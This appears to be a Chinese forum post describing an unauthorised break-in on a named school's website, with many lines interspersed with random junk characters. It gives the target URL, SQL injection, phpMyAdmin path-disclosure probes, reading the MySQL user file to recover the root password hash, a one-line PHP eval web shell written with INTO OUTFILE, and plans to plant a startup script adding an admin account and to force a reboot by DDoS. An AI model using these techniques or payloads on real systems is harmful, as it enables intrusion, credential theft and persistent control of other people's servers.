友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
- R& {/ t& i) \
) Y1 |0 M# v/ T; ^) K
' G- g- n; Q  Y  v, H
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：
9 T& T- H" M9 p" ~3 e7 H1 ]

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
: N/ P1 s/ `2 c# h4 g! }
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
% U- c) p! S1 E5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
( U: V0 Q3 k: ~, m! S4 d; Q
- ?' N5 i6 @8 p, }1 p均不行...........................

御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
. {, B8 B0 v& u* y' \
# X) t7 T) c$ K" n权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

+ Q, r: I9 k6 v" J  X3 {默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
' o6 k9 N: d# J2 t7 {
3 b, u" x% ?8 j+ @, b% m敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
6 r+ x- m) a* X( m( L2 p
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

8 G9 Q  ?) z& Whttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
' g) |& M' l( ?1 t
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

. {! r( Q% a2 A5 ?6 y3 w成功读到root密码：
% T3 j+ n4 u. U) l! `
17---- r(0072)
$ W& l' |  n  v" |& C2 J: H5 q18---- o(006f)
8 g0 ]" T# G, W; g' H19---- o(006f)
20---- t(0074)
$ d. L) I$ z9 w& M21---- *(002a)
. A8 [; y" U3 a+ ^22---- 8(0038)
( D0 _4 a+ y0 R4 g23---- 2(0032)
8 N4 l& T* A* g/ i) G24---- E(0045)
1 y( }" o( V1 C$ y) O- _+ C25---- 1(0031)
26---- C(0043)
) D/ O2 j$ u5 y. L, u( I) i( }27---- 5(0035)
28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
" W2 [# i+ [: x: M3 {8 E5 G31---- A(0041)
" `7 Y1 h0 C! w! H9 d32---- 9(0039)
- H4 G6 b- ?4 o! i% k3 a4 e1 D( `33---- B(0042)
34---- 5(0035)
35---- 4(0034)
- D* n2 @; r4 W) u: ~* f36---- 8(0038)
' z! v$ t( Y, W37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
4 ?# _) m" V  d( G40---- 1(0031)
9 U  k$ o# U( `% f9 t41---- 1(0031)
42---- 5(0035)
; ?: b0 ^6 k; l8 x$ x5 I" a1 t$ o. T43---- 3(0033)
, o4 |8 G8 ^  @& Q44---- 5(0035)
45---- 9(0039)
! a: V. q4 u/ |. ]5 x46---- 8(0038)
3 W  |- |# M, O# U5 j" X47---- F(0046)
48---- F(0046)
49---- 4(0034)
1 K1 o4 p9 V/ d4 u0 P/ K( W50---- F(0046)
3 G/ k4 d* a% `; `8 M- U% b5 I" f& C1 s& v51---- 0(0030)
* x& ^+ h  \0 g8 W) n1 Q52---- 3(0033)
) d9 f/ i5 y4 G53---- 2(0032)
54---- A(0041)
0 T& I/ r3 [2 ]" u; x55---- 4(0034)
# Y: Z2 X- V" }% {( D# {$ O56---- A(0041)
57---- B(0042)
& P* w9 j$ r( T- X' b$ E' [8 C58---- *(0044)
4 N/ c+ E! L/ }' k. x59---- *(0035)
! Z/ t" J! j8 m1 |8 W# H60---- *(0041)
61---- *0032)

解密后成功登陆phpmyamin
                          

                             
5 p, E, ~( k2 Q' ]
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
2 W7 z5 |" G9 }; t7 m
+ y, V' |9 K1 X成功执行，拿下shell，菜刀连接：
$ L& I* l, a2 k& `' C* e
服务器不支持asp,aspx,php提权无果...................
0 Y3 w9 x" g' }/ E, e- ~
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

7 C! B- x7 N  S* g

别名     administrators
+ B( ]8 U4 K# `6 N; m注释     管理员对计算机/域有不受限制的完全访问权

成员

# b& P9 j1 _" P& {- l; m; ~8 n

-------------------------------------------------------------------------------
admin
; Z9 \% |+ V5 Q) [0 |* sAdministrator
slipper$
sqluser
命令成功完成。
! }& k: m8 M; s: a5 U
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

. U7 e$ M6 B! A% ^ddos服务器重启，不然就只能坐等服务器重启了...............................

) ?: i2 A6 w8 t% x      

% [1 m5 Z& J! M+ F$ x

angel